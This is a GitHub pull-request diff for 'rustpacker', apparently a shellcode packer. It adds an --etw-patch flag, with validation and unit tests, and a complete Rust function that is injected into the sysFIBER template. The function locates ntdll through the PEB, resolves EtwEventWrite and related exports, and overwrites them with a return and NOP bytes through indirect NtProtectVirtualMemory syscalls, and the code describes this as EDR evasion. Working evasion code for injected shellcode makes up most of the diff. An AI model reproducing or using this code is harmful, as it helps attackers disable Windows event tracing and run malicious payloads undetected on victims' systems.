Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
75 changes: 75 additions & 0 deletions rustpacker-core/src/config.rs
Original file line number Diff line number Diff line change
Expand Up @@ -50,6 +50,11 @@ pub struct Order {
/// Requires -b dll and a self-injection template (ntapc, winfiber, ntfiber, sysfiber)
#[arg(short, long)]
pub proxy_dll: Option<PathBuf>,

/// Patch ETW functions to disable Event Tracing for Windows (EDR evasion).
/// Only available for self-injection templates using indirect syscalls.
#[arg(long)]
pub etw_patch: bool,
}

/// Execution techniques available for shellcode injection
Expand Down Expand Up @@ -103,6 +108,16 @@ impl Execution {
)
}

/// Check if this execution method uses indirect syscalls
pub fn uses_indirect_syscalls(&self) -> bool {
matches!(self, Execution::SysCreateRemoteThread | Execution::SysFiber)
}

/// Check if this execution method supports ETW patching
pub fn supports_etw_patch(&self) -> bool {
self.is_self_injection() && self.uses_indirect_syscalls()
}

/// Get the template name for this execution method
pub fn template_name(&self) -> &'static str {
match self {
Expand Down Expand Up @@ -203,9 +218,39 @@ pub fn parse_args() -> Result<Order> {
}
}

if order.etw_patch && !order.execution.supports_etw_patch() {
let eligible: Vec<&str> = Execution::all()
.iter()
.filter(|e| e.supports_etw_patch())
.map(|e| e.template_name())
.collect();
return Err(anyhow!(
"ETW patching (--etw-patch) is only supported with self-injection templates using indirect syscalls. Current eligible templates: {}",
eligible.join(", ")
));
}

Ok(order)
}

/// Helper to get all execution variants for iteration
impl Execution {
pub fn all() -> &'static [Execution] {
&[
Execution::NtQueueUserAPC,
Execution::NtCreateRemoteThread,
Execution::SysCreateRemoteThread,
Execution::WinCreateRemoteThread,
Execution::WinFiber,
Execution::NtFiber,
Execution::SysFiber,
Execution::EarlyCascade,
Execution::NtModuleStomping,
Execution::NtWatStager,
]
}
}

#[cfg(test)]
mod tests {
use super::*;
Expand All @@ -225,6 +270,36 @@ mod tests {
assert!(!Execution::EarlyCascade.is_self_injection());
}

#[test]
fn test_execution_uses_indirect_syscalls() {
assert!(Execution::SysCreateRemoteThread.uses_indirect_syscalls());
assert!(Execution::SysFiber.uses_indirect_syscalls());

assert!(!Execution::NtQueueUserAPC.uses_indirect_syscalls());
assert!(!Execution::NtCreateRemoteThread.uses_indirect_syscalls());
assert!(!Execution::WinCreateRemoteThread.uses_indirect_syscalls());
assert!(!Execution::WinFiber.uses_indirect_syscalls());
assert!(!Execution::NtFiber.uses_indirect_syscalls());
assert!(!Execution::EarlyCascade.uses_indirect_syscalls());
assert!(!Execution::NtModuleStomping.uses_indirect_syscalls());
assert!(!Execution::NtWatStager.uses_indirect_syscalls());
}

#[test]
fn test_execution_supports_etw_patch() {
assert!(Execution::SysFiber.supports_etw_patch());

assert!(!Execution::NtQueueUserAPC.supports_etw_patch());
assert!(!Execution::NtCreateRemoteThread.supports_etw_patch());
assert!(!Execution::SysCreateRemoteThread.supports_etw_patch());
assert!(!Execution::WinCreateRemoteThread.supports_etw_patch());
assert!(!Execution::WinFiber.supports_etw_patch());
assert!(!Execution::NtFiber.supports_etw_patch());
assert!(!Execution::EarlyCascade.supports_etw_patch());
assert!(!Execution::NtModuleStomping.supports_etw_patch());
assert!(!Execution::NtWatStager.supports_etw_patch());
}

#[test]
fn test_execution_display() {
assert_eq!(format!("{}", Execution::SysCreateRemoteThread), "sysCRT");
Expand Down
1 change: 1 addition & 0 deletions rustpacker-core/src/generator.rs
Original file line number Diff line number Diff line change
Expand Up @@ -155,6 +155,7 @@ mod tests {
sandbox: None,
output: None,
proxy_dll: None,
etw_patch: false,
}
}

Expand Down
201 changes: 201 additions & 0 deletions rustpacker-core/src/replacements.rs
Original file line number Diff line number Diff line change
Expand Up @@ -110,6 +110,191 @@ fn add_api_obfuscation_replacements(replacements: &mut HashMap<&'static str, Str
);
}

fn add_etw_patch_replacements(replacements: &mut HashMap<&'static str, String>, enable: bool) {
if !enable {
replacements.insert("{{ETW_PATCH_FUNCTION}}", String::new());
replacements.insert("{{ETW_PATCH_CALL}}", String::new());
return;
}

let etw_patch_function = r#"
unsafe fn patch_etw() {
use ntapi::ntpsapi::NtCurrentProcess;
use winapi::um::winnt::{PAGE_EXECUTE_READWRITE, PAGE_EXECUTE_READ};
use winapi::ctypes::c_void;
use winapi::shared::ntdef::NT_SUCCESS;
use rust_syscalls::syscall;

#[repr(C)]
struct PEB {
_reserved: [u8; 8],
ldr: *mut PEB_LDR_DATA,
}

#[repr(C)]
struct PEB_LDR_DATA {
_reserved: [u8; 16],
in_load_order_module_list: *mut LIST_ENTRY,
}

#[repr(C)]
struct LIST_ENTRY {
flink: *mut LIST_ENTRY,
blink: *mut LIST_ENTRY,
}

#[repr(C)]
struct LDR_DATA_TABLE_ENTRY {
_reserved: [u8; 32],
dll_base: *mut u8,
_reserved2: [u8; 24],
base_dll_name: *mut u16,
}

let peb_ptr: *mut PEB;
unsafe {
#[cfg(target_arch = "x86_64")]
{
let teb = std::arch::x86_64::_read_gs_base() as *mut u8;
peb_ptr = *(teb.add(0x60) as *mut *mut PEB);
}
#[cfg(target_arch = "x86")]
{
let teb = std::arch::x86::_read_fs_base() as *mut u8;
peb_ptr = *(teb.add(0x30) as *mut *mut PEB);
}
}

let mut current = (*(*peb_ptr).ldr).in_load_order_module_list;
let ntdll_name = b"ntdll.dll\0";
let mut ntdll_base: *mut u8 = std::ptr::null_mut();

while !current.is_null() {
let entry = current as *mut LDR_DATA_TABLE_ENTRY;
let dll_name = (*entry).base_dll_name;
if !dll_name.is_null() {
let mut i = 0;
let mut match_found = true;
while ntdll_name[i] != 0 {
if (*dll_name.add(i)) as u8 != ntdll_name[i] {
match_found = false;
break;
}
i += 1;
}
if match_found && (*dll_name.add(i)) as u8 == 0 {
ntdll_base = (*entry).dll_base;
break;
}
}
current = (*current).flink;
}

if ntdll_base.is_null() { return; }

type IMAGE_DOS_HEADER = [u8; 64];
type IMAGE_NT_HEADERS64 = [u8; 24];
type IMAGE_DATA_DIRECTORY = [u8; 8];
type IMAGE_EXPORT_DIRECTORY = [u8; 40];

let dos_header = ntdll_base as *const IMAGE_DOS_HEADER;
let nt_headers_offset = unsafe { u32::from_le_bytes((*dos_header)[60..64].try_into().unwrap()) };
let nt_headers = ntdll_base.add(nt_headers_offset as usize) as *const IMAGE_NT_HEADERS64;

let export_dir_rva = unsafe {
let data_dir_offset = (*nt_headers)[112..120].as_ptr() as *const IMAGE_DATA_DIRECTORY;
u32::from_le_bytes((*data_dir_offset)[0..4].try_into().unwrap())
};

let export_dir = ntdll_base.add(export_dir_rva as usize) as *const IMAGE_EXPORT_DIRECTORY;

let number_of_names = unsafe { u32::from_le_bytes((*export_dir)[20..24].try_into().unwrap()) };
let address_of_names = unsafe { u32::from_le_bytes((*export_dir)[32..36].try_into().unwrap()) };
let address_of_name_ordinals = unsafe { u32::from_le_bytes((*export_dir)[36..40].try_into().unwrap()) };
let address_of_functions = unsafe { u32::from_le_bytes((*export_dir)[16..20].try_into().unwrap()) };

let mut etw_functions = Vec::new();
let target_names = [
b"EtwEventWrite\0",
b"EtwEventWriteFull\0",
b"EtwEventRegister\0",
b"EtwEventUnregister\0",
b"EtwEventEnabled\0",
];

for target_name in target_names.iter() {
for i in 0..number_of_names {
let name_rva = unsafe {
let names_ptr = ntdll_base.add(address_of_names as usize) as *const u32;
u32::from_le_bytes((*names_ptr.add(i as usize)).to_le_bytes())
};
let name_ptr = ntdll_base.add(name_rva as usize) as *const u8;

let mut j = 0;
while target_name[j] != 0 && unsafe { *name_ptr.add(j) } != 0 {
if target_name[j] != unsafe { *name_ptr.add(j) } { break; }
j += 1;
}

if target_name[j] == 0 && unsafe { *name_ptr.add(j) } == 0 {
let ordinal = unsafe {
let ordinals_ptr = ntdll_base.add(address_of_name_ordinals as usize) as *const u16;
u16::from_le_bytes((*ordinals_ptr.add(i as usize)).to_le_bytes()) as u32
};

let func_rva = unsafe {
let funcs_ptr = ntdll_base.add(address_of_functions as usize) as *const u32;
u32::from_le_bytes((*funcs_ptr.add(ordinal as usize)).to_le_bytes())
};

let func_addr = ntdll_base.add(func_rva as usize);
etw_functions.push(func_addr);
break;
}
}
}

for func_addr in etw_functions {
let mut old_protect: u32 = 0;
let mut size: usize = 16;

let status = syscall!(
"NtProtectVirtualMemory",
NtCurrentProcess,
&mut func_addr as *mut *mut c_void,
&mut size,
PAGE_EXECUTE_READWRITE,
&mut old_protect
);

if !NT_SUCCESS(status) { continue; }

let patch_bytes: [u8; 16] = [0xC3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90];
unsafe {
std::ptr::copy_nonoverlapping(
patch_bytes.as_ptr(),
func_addr as *mut u8,
16,
);
}

let _ = syscall!(
"NtProtectVirtualMemory",
NtCurrentProcess,
&mut func_addr as *mut *mut c_void,
&mut size,
old_protect,
&mut 0
);
}
}
"#.to_string();

replacements.insert("{{ETW_PATCH_FUNCTION}}", etw_patch_function);
replacements.insert("{{ETW_PATCH_CALL}}", "patch_etw();".to_string());
}

/// Build the full replacement map for a given order.
pub(super) fn build_replacements(
order: &Order,
Expand Down Expand Up @@ -139,6 +324,7 @@ pub(super) fn build_replacements(
}

add_api_obfuscation_replacements(&mut replacements);
add_etw_patch_replacements(&mut replacements, order.etw_patch);
Ok(replacements)
}

Expand Down Expand Up @@ -191,4 +377,19 @@ mod tests {
assert!(replacements.contains_key("{{API_KEY}}"));
assert!(replacements.contains_key("{{OBF_NT_OPEN_PROCESS}}"));
}

#[test]
fn test_add_etw_patch_replacements() {
let mut replacements = HashMap::new();
add_etw_patch_replacements(&mut replacements, true);
assert!(replacements.contains_key("{{ETW_PATCH_FUNCTION}}"));
assert!(replacements.contains_key("{{ETW_PATCH_CALL}}"));
assert!(!replacements["{{ETW_PATCH_FUNCTION}}"].is_empty());
assert!(!replacements["{{ETW_PATCH_CALL}}"].is_empty());

let mut replacements = HashMap::new();
add_etw_patch_replacements(&mut replacements, false);
assert!(replacements["{{ETW_PATCH_FUNCTION}}"].is_empty());
assert!(replacements["{{ETW_PATCH_CALL}}"].is_empty());
}
}
3 changes: 3 additions & 0 deletions templates/sysFIBER/src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,8 @@
{{LITCRYPT_SETUP}}
{{COMMON_MODULE}}

{{ETW_PATCH_FUNCTION}}

use std::ptr::null_mut;
use std::time::Instant;

Expand Down Expand Up @@ -80,6 +82,7 @@ fn enhance(mut buf: Vec<u8>) {

fn main() {
{{SANDBOX}}
{{ETW_PATCH_CALL}}

if !check_environment() { return; }

Expand Down
Loading